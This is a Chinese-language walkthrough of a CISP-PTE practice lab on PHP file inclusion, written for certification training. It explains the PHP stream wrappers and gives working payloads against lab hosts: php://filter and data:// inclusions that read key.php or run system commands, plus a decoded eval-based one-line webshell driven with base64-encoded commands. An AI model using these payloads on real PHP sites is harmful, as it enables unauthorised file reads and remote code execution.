cisp-pte靶场通关思路分享----文件包含篇
文件包含漏洞利用的前提:
web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
用户能够控制包含文件的参数,被包含的文件可被当前页面访问。
伪协议文件包含:
- file:// 访问本地文件系统
- http(s):// 访问 HTTPs 网址
- ftp:// 访问 ftp URL
- php:// 访问输入/输出流
- Zlib:// 压缩流
- Data:// 数据
- Ssh2:// security shell2
- Expect:// 处理交互式的流
- Glob:// 查找匹配的文件路径
- phar:// PHP归档
- rar:// RAR
- ogg:// 音频流
常用伪协议讲解:
1. file://
(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。
(2)例如:file:///etc/passwd、file://key.txt
2. php://
(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。
3、phar://
(1)phar://数据流包装器自PHP5.3.0起开始有效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt
伪协议利用方式小总结:
靶场一:
文件包含在这个靶场里主要考察伪协议:想了解更多的自行问度娘,这里只说解题思路。
构造payload
http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php或者
http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php
解密即可拿到key。
还有date协议在这里也可以用:
data:text/plain,<?php system(whoami)?>
构造payload:
http://192.168.43.99:8083/vulnerabilities/fu1.php?file=data:text/plain,%3C?php%20system(%27cat%20../key.php%27)?%3E
靶场二:
查看view.html源码可知是里面的参数
W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=解密为
[@eval(base64_decode($_POST[z0]));]一个一句话木马
有两种解题的思路:一种直接连接这个一句话木马,只能用Cknife,还有一种直接传参读文件。
解法一:
修改config.ini文件为:
ACTION=z0PHP_MAKE=http://192.168.43.72:83/start/index.php?file=view.html
密码Hello=0
解法二:
首先把这串字符串通过base64解码可得[@eval(base64_decode($_POST[z0]));]
发现POST参数decode后用eval函数执行,所以构造payload:Hello=123&z0=system('cat ../key.php');
再进行base64加密最后:Hello=123&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
获取key:
至此文件包含的两套靶场就成功拿下来,确实学到了很多知识。